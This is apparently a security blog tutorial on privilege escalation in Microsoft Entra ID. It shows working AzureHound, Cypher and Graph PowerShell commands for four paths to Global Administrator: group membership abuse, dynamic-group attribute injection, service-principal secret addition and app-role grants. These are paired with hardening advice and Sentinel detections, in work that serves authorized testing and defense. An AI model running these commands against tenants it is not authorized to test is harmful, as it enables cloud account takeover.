Legal & Ethical Disclaimer
This article is for educational purposes and authorized security testing only. Every technique below must be performed exclusively against tenants you own or for which you hold explicit written authorization. Unauthorized access to cloud identity systems violates the Computer Fraud and Abuse Act and equivalent laws worldwide. Do not run these tools against tenants you do not control.
Introduction / Overview
Microsoft Entra ID (formerly Azure AD) is the identity control plane for the majority of enterprise estates. Unlike on-premises Active Directory, where most attack paths terminate in a Domain Admin DACL chain, Entra ID privilege escalation runs across two distinct planes: the Entra ID directory plane (directory roles, applications, groups) and the Azure Resource Manager (ARM) plane (subscriptions, resource RBAC). A low-privileged user object, a misconfigured dynamic group rule, or an over-permissioned OAuth application can all become a stepping stone to Global Administrator.
This post walks through four realistic advanced attack paths and how to surface them with AzureHound, the BloodHound collector for Azure. We then give the Blue Team equal attention with concrete detections and hardening.
How It Works / Background
Entra ID privilege is granted through several primitives that an attacker chains together:
- Directory role assignments — e.g. Privileged Role Administrator, Application Administrator, Cloud Application Administrator. Some are "tier-zero" because they grant a path to Global Administrator.
- Role-assignable groups — groups with
isAssignableToRole = truecan hold directory roles. Membership in one inherits the role. - Dynamic membership groups — membership is computed from a rule over user attributes (e.g.
user.department -eq "IT"). If a low-priv user can edit their own attributes and the rule references those attributes, they can inject themselves. - Application & Service Principal permissions —
Application.ReadWrite.All,RoleManagement.ReadWrite.Directory, or the ability to add credentials to a high-privileged service principal. - OAuth consent grants — delegated or application permissions granted to an app, sometimes via illicit consent (MITRE ATT&CK T1528 / T1098.003).
AzureHound queries the Microsoft Graph and ARM REST APIs, then emits JSON that BloodHound ingests to compute attack paths with Cypher.
Prerequisites / Lab Setup
You need a test tenant (the free Microsoft 365 Developer tenant works) and a low-privileged user credential. Tooling:
- AzureHound (the Go collector,
github.com/bloodhoundad/azurehound) - BloodHound Community Edition (Docker)
- az CLI and the Microsoft.Graph PowerShell module
# AzureHound collector (download the release binary or build)
git clone https://github.com/BloodHoundAD/AzureHound.git
cd AzureHound && go build .
# BloodHound CE via Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up -dBashAuthenticate AzureHound with the low-priv principal and run a full collection:
# Username/password (lab) — prefer --refresh-token or device code in real engagements
./azurehound -u "lowpriv@contoso.onmicrosoft.com" -p 'P@ssw0rd!' \
list --tenant "contoso.onmicrosoft.com" -o azurehound-output.json
# Device-code auth (no plaintext creds)
./azurehound -j "<refresh-token>" list --tenant "<tenant-id>" -o output.jsonBashThen drag azurehound-output.json into the BloodHound UI to ingest.
Walkthrough / PoC
Path 1 — Enumerate role assignments
Once data is in BloodHound, the fastest win is identifying directory role holders and pre-built escalation paths. Useful Cypher:
// All principals holding active Entra directory roles
MATCH p=(n)-[:AZHasRole]->(r:AZRole)
RETURN p
// Shortest paths from owned/low-priv principals to Global Admin
MATCH (u:AZUser {name:"LOWPRIV@CONTOSO.ONMICROSOFT.COM"})
MATCH (ga:AZRole {displayname:"Global Administrator"})
MATCH p=shortestPath((u)-[*1..]->(ga))
RETURN pCypherCross-check with az and Graph PowerShell to confirm live assignments:
# Azure RBAC role assignments on a subscription (ARM plane)
az role assignment list --all --output table
# Entra directory role members (directory plane)
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/directoryRoles?\$expand=members"BashPath 2 — Abuse a role-assignable group
If your principal has microsoft.directory/groups/members/update over a role-assignable group that holds, say, User Administrator, you can add yourself and inherit the role:
Connect-MgGraph -Scopes "GroupMember.ReadWrite.All"
# Confirm the group is role-assignable and what role it holds
Get-MgGroup -GroupId $gid | Select-Object DisplayName, IsAssignableToRole
# Add the controlled user as a member -> inherits the directory role
New-MgGroupMember -GroupId $gid -DirectoryObjectId $myUserIdPowerShellPath 3 — Dynamic group injection
This is the subtle one. A dynamic group computes membership from a rule such as user.otherMails -any (_ -contains "@partner.com") or user.department -eq "Finance". If that group holds a role and the user can self-edit the referenced attribute, the user can force themselves into the group. Some attributes (like otherMails, mobilePhone, or via SSPR self-service) are user-writable.
# Inspect the membership rule of a dynamic group
Get-MgGroup -GroupId $gid | Select-Object DisplayName, MembershipRule, GroupTypes
# If the rule is: user.otherMails -any (_ -eq "vip@contoso.com")
# and we can write our own otherMails, we satisfy it:
Update-MgUser -UserId $myUserId -OtherMails @("vip@contoso.com")
# Entra recalculates membership; the user is now in the group.PowerShellPath 4 — OAuth consent grant / service principal abuse
With Application Administrator or Cloud Application Administrator, an attacker can add credentials to an existing high-privilege service principal, then authenticate as that SP. Alternatively, an illicit consent grant assigns dangerous app permissions:
# Add a new client secret to a high-priv app registration we control
$pwd = Add-MgApplicationPassword -ApplicationId $appObjectId
Write-Host $pwd.SecretText
# Grant an app the RoleManagement.ReadWrite.Directory app permission (oauth2/appRoleAssignment)
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $spId `
-PrincipalId $spId -ResourceId $graphSpId -AppRoleId $roleMgmtAppRoleIdPowerShellRoleManagement.ReadWrite.Directory lets the service principal grant itself any directory role — effectively Global Admin. Authenticate as the SP with its new secret and you control the tenant.
Mermaid Diagram

The diagram shows how a single low-privileged user reaches Global Administrator through whichever of the four primitives AzureHound surfaces as reachable.
Detection & Defense (Blue Team)
Defense must cover both planes and every primitive abused above.
Harden role assignments.
- Enforce Privileged Identity Management (PIM): make tier-zero roles (Global Admin, Privileged Role Admin, Application Admin) eligible-only with approval and MFA, not permanently active.
- Limit Global Administrator holders to fewer than five break-glass-aware accounts and review monthly.
Harden groups.
- Audit role-assignable groups (
isAssignableToRole = true) and restrict who hasmembers/update. - Never base dynamic membership rules on user-writable attributes (
otherMails,mobilePhone,departmentif delegated). Prefer attributes set only by authoritative HR sync. This directly closes Path 3.
Harden consent.
- Disable user consent: set user consent for applications to Do not allow, and route requests through the admin consent workflow.
- Audit existing grants regularly:
# Review all OAuth2 delegated permission grants
Get-MgOauth2PermissionGrant -All |
Select-Object ClientId, ConsentType, Scope
# Review app role (application permission) assignments on Graph SP
Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSpIdPowerShellDetect.
- Stream Entra ID audit logs and sign-in logs to Microsoft Sentinel. Alert on:
Add member to role/Add member to groupfor privileged groups.Add service principal credentials/Update application – Certificates and secrets.Consent to applicationevents (maps to MITRE T1528).
// Sentinel: secrets/certs added to applications or service principals
AuditLogs
| where OperationName in ("Add service principal credentials",
"Update application – Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources, OperationNameKusto- Deploy Microsoft Defender for Cloud Apps anomaly policies for OAuth apps, and review the Risky OAuth apps dashboard. AzureHound traffic itself appears as bursty Graph enumeration from a single principal — a useful UEBA signal.
Conclusion
Entra ID privilege escalation is a graph problem spanning the directory and ARM planes. AzureHound plus BloodHound turns that graph into concrete shortest-path chains, and the four primitives here — role assignments, role-assignable groups, dynamic group injection, and OAuth consent grants — are the highest-yield paths in real tenants. The same graph view is your best defensive tool: enumerate your own paths, enforce PIM, lock down consent, and never trust user-writable attributes in dynamic rules.
For related reading, see our notes on BloodHound for on-prem AD, OAuth device-code phishing, and Azure managed identity abuse.
References
- MITRE ATT&CK — Steal Application Access Token: https://attack.mitre.org/techniques/T1528/
- MITRE ATT&CK — Account Manipulation: Additional Cloud Roles: https://attack.mitre.org/techniques/T1098/003/
- AzureHound documentation: https://bloodhound.specterops.io/collect-data/enterprise-azure/azurehound
- HackTricks Cloud — Azure Privilege Escalation: https://cloud.hacktricks.xyz/pentesting-cloud/azure-security
- Microsoft — Privileged roles and permissions in Entra ID: https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions
- Microsoft — Dynamic membership rules for groups: https://learn.microsoft.com/en-us/entra/identity/users/groups-dynamic-membership
- Microsoft — Configure how users consent to applications: https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-user-consent
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments